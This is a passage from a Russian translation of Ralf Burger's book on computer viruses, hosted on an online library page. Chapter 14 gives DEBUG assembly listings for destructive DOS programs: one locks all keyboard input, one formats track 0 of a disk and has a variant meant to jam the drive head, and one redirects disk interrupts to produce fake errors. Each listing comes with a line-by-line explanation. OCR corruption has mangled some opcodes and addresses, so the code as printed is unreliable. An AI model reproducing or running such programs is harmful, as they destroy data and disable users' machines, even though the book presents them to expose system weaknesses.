Главная · Поиск книг · Поступления книг · Top 40 · Форумы · Ссылки · Читатели

Настройка текста
Перенос строк


    Прохождения игр    
Demon's Souls |#13| Storm King
Demon's Souls |#11| Мaneater part 2
Demon's Souls |#10| Мaneater (part 1)
Demon's Souls |#9| Heart of surprises

Другие игры...


liveinternet.ru: показано число просмотров за 24 часа, посетителей за 24 часа и за сегодня
Rambler's Top100
Образование - Ральф Бургер Весь текст 616.55 Kb

Большой справочник по компьютерным вирусам

Предыдущая страница Следующая страница
1 ... 37 38 39 40 41 42 43  44 45 46 47 48 49 50 ... 53
получить вирус в результате случайного изменения программы, точно  ни-
как нельзя рассчитать, также никак нельзя рассчитать, также как нельзя
точно указать,  насколько при известных обстоятельствах (в зависимости
от программного окружения) может сократиться произвольно названием Ко-
хеном длина вируса.

     14. Задания на выполнение манипуляций
     В этой главе ставится вопрос: "Как далеко  можно  зайти  в  такой
публикации?" Эта книга ни в коем случае не должна послужить путеводной
нитью для  саботажников. Тем не менее автор решился в этой главе опуб-
ликовать несколько программ "создания хаоса". Во всех приведенных ниже
распечатках речь идет о деструктивных программах или о программах, ко-
торые могут быть использованы для этих преступных целей. Но  поскольку
программа сама  по себе не может быть ни хорошей, ни "зловредной", все
зависит исключительно от ответственности того, кто работает  с  такими
программами.
     Не в  последнюю  очередь  исходили из того, чтобы показать слабые

                           - 265 -
места, что позволило бы их обойти.  А  если  возможно  причинить  вред
компьютерной системе  программным  путем  повредив ее функцию, то речь
действительно идет о слабых местах такой системы. И прежде всего нужно
учитывать, еасколько коротки бывают программы-вирусы.
     14.1 Сломать проще всего
     Тот, кто знает о сложности компьютерных систем, всегда удивляется
тому, что ожидаемый отказ системы происходит совсем не часто.  А  ведь
даже одного отдельного бита в оперативной памяти может привести к пре-
рыванию работы. А потому чрезвычайно легко такого рода ошибку сгенери-
ровать. Отказ  системы представляется пользователю ситуацией, когда не
удается вызвать извне программу обычным порядком. Либо ввод  игнориру-
ется полностью,  либо  ввод  приводит к совершенно иному, неожиданному
результату. Пользователям бытовых компьютеров более старого  типа  из-
вестны красочные  отказы  системы, которыми эти приборы "радуют" своих
обладателей время от времени. Сегодня все чаще сталкиваются с "тихими"
отказами, когда компьютер отказывается от приема любой входной  инфор-
мации. Это объясняется изменившейся структурой аппаратных средств. Ес-
ли раньше процессор сам должен был заботиться об изображении на экране
и о выводе звуковых сигналов, то сегодня эти задачи переданы специаль-
ным чипам.  Потому отказ прежних моделей бытовых компьютеров выглядели
на экране или в звуковом сопровождении куда более эффектно.
     Важно различать два вида отказов системы. "истинные" отказы  сис-
темы совершенно  не поддаются контролю, и невозможно определить, какие
части программы выполнены процессором. Отказы такого рода  обусловлены
загрузкой слишком  многих  резидентных программ, ошибками в программах
или аппаратными сбоями.
     "Смоделированные" отказы внешне выглядят так же, но  не  являются
полностью неконтролируемыми. Они происходят внутри определенных задач,
которые не поддаются контролю со стороны пользователя. Такими задачами
могут быть  форматирование жестких дисков, стирание секторов или мани-
пуляции с файлами. В результате того, что все контрольные функции  пе-
редаются пользователем  системе,  невозможно  прервать запущенный про-
цесс. Это можно сделать лишь путем аппаратного сброса или путем отклю-
чения питания. Но пока это удастся сделать, пройдет несколько  секунд,
которых в любом случае достаточно для того, чтобы разрушить все записи
каталога жесткого диска.
     Основной задачей  при генерации отказа является блокировка любого
ввода с клавиатуры или возможности  прерывания  с  клавиатуры.  Потому
здесь нужно различать несколько этапов:

                           - 266 -
1) Блокируются возможности прерывания процессов "изнутри" программы.
2) Блокируется прерывание с помощью клавиш ^c.
3) Блокируется прерывание с помощью клавиш Аlt, Соntrоl, DEL.
4) Отвергаются все виды прерываний.
     Четвертую форму  вряд  ли  можно реализовать на обычных системах,
поскольку установку можно отключить просто по питанию. Правда, сущест-
вует аварийное питание, которое при отказе сети  позволяет  продолжать
работу еще  в течение примерно 15 минут. Но, поскольку здесь использу-
ется дополнительное устройство, можно просто вынуть штекер блока  ава-
рийного питания.
     Но все  три  другие формы фатального сбоя можно сгенерировать до-
вольно просто. В первом случае исключить программную обработку  сигна-
лов соответствующих  клавиш прерывания. Эту форму, безусловно, нет не-
обходимости подробно. И блокировка клавиш Соntrоl - C не  представляет
собой слишком  сложную задачу.Это можно сделать описания "Вreaк ОFF" в
соnfig. sys или на командном уровне. Еще эффективнее переключение  ин-
терфейса консоли  на  левое устройство. В этом случае буфер клавиатуры
также не заполнеяется. Лишь для блокировки функций Аlt, Сtrl и Del  от
программиста требуется немного больше умения.
     Программа, распечатка  которой  приводится  ниже, блокирует любой
ввод с клавиатуры. Невозможен и "горячий" запуск. В остальном  система
остается полностью работоспособной. Такую можно ввести с помощью dевyg
и хранить под именем nовreak.com.
2le4:0100 b435        mov ah,35
2le4:0102 b004        mov al,04
2le4:0104 cd21        int 21
21e4:0106 8cco        mov ax,es
2le4:0108 89da        mov dx,bx
2le4:010a 8td8        mov ds,ax
2kt4:010c B425        mov ah625
2kt4:010t b009        mov al,09
2lt4:0110 cd2l        int 2l
2lt4:0112 b80000      mov ax,0000
2kt4:0115 cd2l        int 2l

Пояснение функции программы:
     считывается вектор  прерывания  4.  Это чаще всего неиспользуемый
вектор. Результат помещается в еs и вх.
2le4:0100 b435        mov all,35

                           - 267 -
2le4:0102 b004        mov ak,04
2le4:0104 cd2l        int 2l

Преобразовать вектор прерывания 9. Это прерывание  с  клавиатуры.  Оно
преобразовывается в вектор переполнения 4. Этот вектор обычно указыва-
ет на команду iret.
       В результате любой ввод "перехватывается".
2le4:0106 8cco        mov ax,es
2le4:0108 89da        mov dx,bx
2le4:010a 8ed8        mov ds,ax
2ke4:010c b425        mov ah,25
2le4:010e b009        mov ak,09
2le4:0110 cd21        int 21

Обычное завершение программы:
2lt4:0112 b80000      mov ax,00000
2le4:0115 cd21        int 21

Если включить  njbreak  com.  в программу пакетной обработки, то можно
убедиться в ее эффективности.

Nobreak
dir *.*
dir *.*/р

Если эту программу запустить, пакетное задание выполняется, причем ни-
коим образои нельзя вмешаться в его выполнение, разве что выключив пи-
тание, вынув штекер сетевого прибора. Если клавиатуры блокируется, это
не всегда является для пользователя недостатком. Для некоторых  прило-
жений, когда  процесс ни в коем случае нельзя прерывать (прямой доступ
к контроллеру, описанный выше), может иметь  смысл  блокировка  любого
вида прерываний.
     14.2 Программное обеспечение против аппаратного
     Любая "игрушка" обращается к аппаратным средствам с помощью прог-
рамм. несколько примеров этому уже приводилось в разделе 7.3. Иуже там
возникла проблема: как четко провести границу между аппаратным и прог-
раммным обеспечением.  Описанная  ниже программа разрушает нулевую до-
рожку дисковода, в результате чего дискета оказывается "нечитабельной"
для dos. Эта программа может также сделать недоступным  жесткий  диск,

                           - 268 -
изменив номер дисковода. Если для дискеты можно говорить о программном
обеспечении, для  жесткого  диска  это не всегда так. Во всяком случае
никто не мог бы здесь поспорить. Эту программу также  можно  ввести  с
помощью debug и записать в память под именем kill.com.
197e:0100 b405          mov ah,05
197e:0102 b200          mov dl,00
197e:0104 b600          mov dh,00
197e:0106 b500          mov ch,00
197e:0108 b101          mov cl,01
197e:010a m008          mov al,08
197e:010c cd13          int 13
197e:010e b400          mov ah,00
197e:0110 cd21          int 21

Пояснения к программе:
Загруженное в АН значение 5 означает форматирование дорожки:
197e:0100 b405          mov ah,05
dl  содержит номер дисковода, в нашем случае номер 0 = дисковод
А:
197е:0102 b200          моv dl,00
dh содержит  номер  соответствующей головки. Внашем случае это нулевая
головка:
197е:0104 b600          mov dh,00
СН содержит дорожку. Здесь используется нулевая дорожка:
197е:0106 b500          mov ch,00
ck описывает первый обрабатываемый сектор. Это сектор 1:
197е:0108 b101          mov cl,01
al указывает число подлежащих обработке  секторов.  Здесь  задается  8
секторов, т.е. обработке подлежит вся дорожка:
197е:0101а b008         mov al,08

Прерывание 13  является прерыванием bios, обеспечивающим доступ к дис-
кете:
197Е:010с сd13          int 13

Через прерывание 21 программа завершается обычным порядком:
197е:010е b400          mov ah,00
197e:0110 cd21          int 21
Но с помощью этой программы можно добиться и других эффектов. А  имен-

                           - 269 -
но, если  установить  задание дорожки на значение за пределами 39, го-
ловка дисковода выйдет за самую внутреннюю дорожку. Для некоторых дис-
ководов это приводит к заклиниванию головки, что можно устранить  лишь
механическим путем. Такая программа выглядела бы так:
197е:0100 b405          mov ah,05
197e:0102 b200          mov dl,00
197e:0104 b600          mov dh,00
197e:0106 b580          mov ch,80   !!!!!!!
197e:0108 b101          mov cl,01
197e:010a b008          mov al,08
197e:010c cd13          int 13
197e%010e b400          mov ah,00
197t:0110 cd21          int 21
     Подобные "шутки"  можно реализовать практически со всеми внешними
устройствами. В заключение можно упомянуть о том, что из-за  ошибки  в
программировании контроллера 6845 дисплей может закончить свое сущест-
вование. И задача изготовителя исключить такого рода возможности.
14.3 Имитация ошибок
И здесь граница между различными видами манипуляций вполне условна.
И если теперь генерируются сообщения об ошибках, которых обычно не су-
ществует, или  если  искусственно  вызываются сообщения об ошибках dos
или внутренние сообщения программы,  различий  нет.  Приведенная  ниже
программа работает так, как это описани в разделе 14.1. Здесь прерыва-
ние bios "переключается" на обращение к дискете.
197e:0100 b435           mov ah,35
197e:0102 b004           mov ak,04
197e:0104 cd21           int 21
197e:0106 8cco           mov ax,es
197e:0108 89da           mov dx,bx
197e:010a 8ed8           mov ds,ax
197e:010c b425           mov ah,25
197e:010e b013           mov al,13
197e:0110 cd21           int 21
197e:0112 b80000         mov ax,00
197e:0115 cd21           int 21

Принцип действия:

Считывается вектор прерывания 4 (переполнение):

                           - 270 -

197e:0100 b435           mov all,35
197e:0102 b004           mov al,04
197e%0104 cd21           int 21


Вектор прерывания  13  (обращение к дискете) "переключается" на вектор
прерывания 4. Поскольку это прерывание не описывается в системе, обра-
ботка его не выпоняется:

197e:0106 8cco              mov ax,es
197e:0108 89da              mov dx,bx
197e:010a 8ed8              mov ds,ax
197e:010c b425              mov ah,25
197e:010e b013              mov al,13
197e:0110 cd21              int 21

Программа завершается с помощью:

197е:0112 m80000             mov ax,00
197e:0115 cd21               int 21

Теперь все последующие обращения к дискете  отклоняются.  А  поскольку
мs-dos ничего  не знает о таком отклонении, на жкране появляются самые
различные сообщения об ошибках. Они в значительной степени зависят  от
определенного в  conig.sys размера буфера, поскольку известные обраще-
ния из буфера обрабатываются не сразу, а лишь после того,  как  другие
обращений не поступает. Эта программа вполне безобидна, поскольку лишь
имитирует ошибку.  Она  может  принести неприятности лишь тогда, когда
текст ее отредактирован и не может быть записан в память  из-за  невы-
Предыдущая страница Следующая страница
1 ... 37 38 39 40 41 42 43  44 45 46 47 48 49 50 ... 53
Ваша оценка:
Комментарий:
  Подпись:
(Чтобы комментарии всегда подписывались Вашим именем, можете зарегистрироваться в Клубе читателей)
  Сайт:
 
Комментарии (1)

Реклама